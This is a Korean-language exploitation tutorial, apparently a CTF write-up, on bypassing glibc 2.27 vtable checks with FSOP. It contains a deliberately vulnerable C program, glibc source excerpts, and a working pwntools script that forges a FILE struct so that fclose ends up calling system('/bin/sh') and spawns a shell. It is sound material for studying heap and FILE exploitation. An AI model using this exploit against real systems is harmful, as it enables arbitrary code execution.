FSOP_exploit glibc 2.27

HOW to exploit glic 2.27 using FSOP

HOW to exploit glic 2.27 using FSOP

  • glibc 2.27에서 부터 vtable 주소 검증 루틴이 추가 되었다. 즉 vtable 의 함수 주소가 _libc_io_vtable 영역에 해당되는지 체크가 진행한다. IO_validate_vtable 참조

c

// gcc -o vtable_bypass vtable_bypass.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

FILE * fp;

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main()
{
    initialize();

    fp = fopen("/dev/urandom", "r");
    printf("stdout: %pn", stdout);
    printf("Data: ");
    read(0, fp, 300);

    if (*(long*)((char*) fp + 0xe0) != 0)
    {
        exit(0);
    }

    fclose(fp);
}

file 포인터에 입력을 받는 상황이고 fclose(fp)를 통해 exploit 할 수 있을 거 같다.

c

int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)
    {
      /* This stream has a wide orientation.  This means we have to free
     the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
    }
  else
    {
      if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}

_IO_FINISH (fp); 이 함수는 vtable + 0x10 offset에 있다.
fp를 덮을 수 있으니 vtable_check 함수에 걸리지 않는 함수를 찾아내서 vtable 주소에 넣으면 원하는 함수가 실행 될 수 있을 거 같다.

c

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
	}
	}
}

_IO_str_overflow 함수는 _io_str_jumps 에 있는 함수이다. file_pointer와 offset이 0xd8이다.

이 함수에서는 vtable_check이 없는 부분인 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 를 의심해야한다.

c

typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};

/* This is needed for the Irix6 N32 ABI, which has a 64 bit off_t type,
   but a 32 bit pointer type.  In this case, we get 4 bytes of padding
   after the vtable pointer.  Putting them in a structure together solves
   this problem.  */

struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

_IO_strfile_ 구조체 안에 _s 라는 변수가 있고 또 _allocate_buffer를 참조하여 함수를 실행한다.

그럼 fp->vtable 에는 _IO_str_overflow - 0x10 을 넣어 준다.

str_overflow.png
wikilink
fclose 에서 vtable + 0x10에 _IO_str_overflow 가 들어간것을 볼 수 있다.

fp->flags 들은 _IO_NO_WRITES off, _IO_CURRENTLY_PUTTING on, _IO_USER_BUF off로 해야 한다. 즉 0xfbad8000

c

define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)   
  return EOF;

size가 인자로 들어가기 때문에 rdi의 값이 binsh의 주소가 들어가야 한다. 즉 _IO_buf_end - _IO_buf_base 값이 (&binsh - 100) // 2 이어야 한다. pos = fp->_IO_write_ptr - fp->_IO_write_base; 이 값이 old_blen 보다 커야 하기 때문에 _IO_write_ptr 에 binsh 주소값을 넣어준다.

_s.allocate_buffer 라는 변수는 vtable +0x8에 위치 하기 때문에 뒤에 system 주소를 넣어준다.

python

from pwn import *

context.log_level='debug'
context.arch='amd64'
r = remote('localhost', 1111)
lib = ELF('./libc.so.6')
sla = lambda a, b : r.sendlineafter(a,b)
sa = lambda a, b : r.sendafter(a,b)
slog = lambda s, h : success(': '.join([s,hex(h)]))

r.recvuntil(b'stdout: ')
leak = int(r.recvline()[:-1], 16) - lib.sym['_IO_2_1_stdout_']
slog('libc', leak)
vtable = leak + lib.sym['_IO_file_jumps'] + 0xd8 - 0x18
slog('vtalbe', vtable)

lock = leak + 0x3eb8c0
binsh = leak + next(lib.search(b'/bin/sh'))
system = leak + lib.sym['system']

fake = FileStructure(0)
fake.flags = 0xfbad8000
fake._lock=lock
fake._IO_buf_end = (binsh - 100) // 2
fake._IO_buf_base = 0
fake._IO_write_ptr = binsh
fake._IO_write_base = 0
fake.vtable = vtable
pause()

r.sendafter(b'Data: ', bytes(fake) + p64(system))

r.interactive()

Related Content